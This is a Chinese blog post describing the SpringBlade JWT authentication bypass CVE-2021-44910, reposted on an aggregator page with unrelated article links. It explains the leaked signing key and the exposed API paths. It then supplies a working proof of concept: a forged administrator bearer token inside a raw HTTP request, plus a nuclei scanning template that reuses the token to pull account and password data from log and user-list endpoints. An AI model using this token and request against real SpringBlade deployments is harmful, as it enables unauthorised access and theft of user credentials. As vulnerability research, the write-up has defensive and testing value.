当前位置: 首页 > news >正文

springblade-JWT认证缺陷漏洞CVE-2021-44910

漏洞成因

SpringBlade前端通过webpack打包发布的,可以从其中找到app.js获取大量接口

然后直接访问接口:api/blade-log/api/list

直接搜索“请求未授权”,定位到认证文件:springblade/gateway/filter/AuthFilter.java

后面的代码审计可以参考

转载:SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910-CSDN博客

大概意思就是这个认证判断有个逻辑缺陷,就是在泄露的前端pack里面对于jwt的判断认证不够严谨,并且加密的TokenConstant.SIGN_KEY也泄漏了

这样我们就能通过伪造jwt直接绕过鉴权,访问未授权的api接口

漏洞利用

api信息泄露

但是有可能会换名字,具体可以去前端webpack里找

/api/blade-log/api/list接口中会泄漏账号密码,只要管理员登录过

/api/blade-user/user-list泄露了账号密码

但是密码是加密过的,运气好可以爆开

poc

GET /api/blade-log/api/list HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g
Connection: close

nucleipoc

id: springblade-jwt
info:name: Latiaospringblade-Jwtauthor: FeiNiaoseverity: highdescription: https://forum.butian.net/share/973tags: jwt,springblade
http:- raw:- |+GET /api/blade-log/api/list HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept-Encoding: gzip, deflate, brAccept: application/json, text/plain, */*Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0ghost-redirects: truemax-redirects: 2matchers-condition: andmatchers:- type: statusstatus:- 200- type: wordpart: bodywords:- "password"- "account"condition: and

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • IDEA取消自动选择光标所在行
  • 【unity知识】OnAnimatorMove+root motion,Root Motion+Blend Tree,解决Animator动画和位移不同步问题
  • jupyter 安装新内核后报找不到已安装的包
  • Java | Leetcode Java题解之第392题判断子序列
  • 【Python123题库】#通讯录(文件读取) #利用数据文件统计成绩
  • 《深度学习》OpenCV轮廓检测 轮廓近似、模板匹配 解析及实现
  • STM32常用C语言知识总结
  • ubuntu搜狗输入法取消切换繁体
  • HTTPS 协议“加密和解密”详细介绍
  • 论文精读:Dirac半金属反常能斯特效应设计
  • 【maxcompute|ODPS|SQL|HSQL】日期数据非标准日期格式(yyyy/M/d),如何转为yyyy-MM-dd HH:mm:ss标准格式
  • 基于约束大于规范的想法,封装缓存组件
  • sqlite3的db.interrupt方法深入解析
  • 台球助教APP小程序的前端交互设计
  • error:0308010C:digital envelope routines::unsupported【超详细图解】
  • Apache Zeppelin在Apache Trafodion上的可视化
  • C++11: atomic 头文件
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • LeetCode刷题——29. Divide Two Integers(Part 1靠自己)
  • ng6--错误信息小结(持续更新)
  • node 版本过低
  • node入门
  • Protobuf3语言指南
  • Vim 折腾记
  • 分类模型——Logistics Regression
  • 基于Android乐音识别(2)
  • 记一次用 NodeJs 实现模拟登录的思路
  • 项目实战-Api的解决方案
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • 学习JavaScript数据结构与算法 — 树
  • CMake 入门1/5:基于阿里云 ECS搭建体验环境
  • ​渐进式Web应用PWA的未来
  • #if等命令的学习
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • (2)Java 简介
  • (2)STM32单片机上位机
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第2节(共同的基类)
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (zt)最盛行的警世狂言(爆笑)
  • (待修改)PyG安装步骤
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (附源码)spring boot儿童教育管理系统 毕业设计 281442
  • (附源码)ssm高校社团管理系统 毕业设计 234162
  • (回溯) LeetCode 77. 组合
  • (论文阅读30/100)Convolutional Pose Machines
  • (三十)Flask之wtforms库【剖析源码上篇】
  • (文章复现)基于主从博弈的售电商多元零售套餐设计与多级市场购电策略
  • (一)VirtualBox安装增强功能
  • (转)清华学霸演讲稿:永远不要说你已经尽力了
  • (自用)网络编程
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • **登录+JWT+异常处理+拦截器+ThreadLocal-开发思想与代码实现**
  • .NET 8.0 发布到 IIS
  • .net core 6 集成和使用 mongodb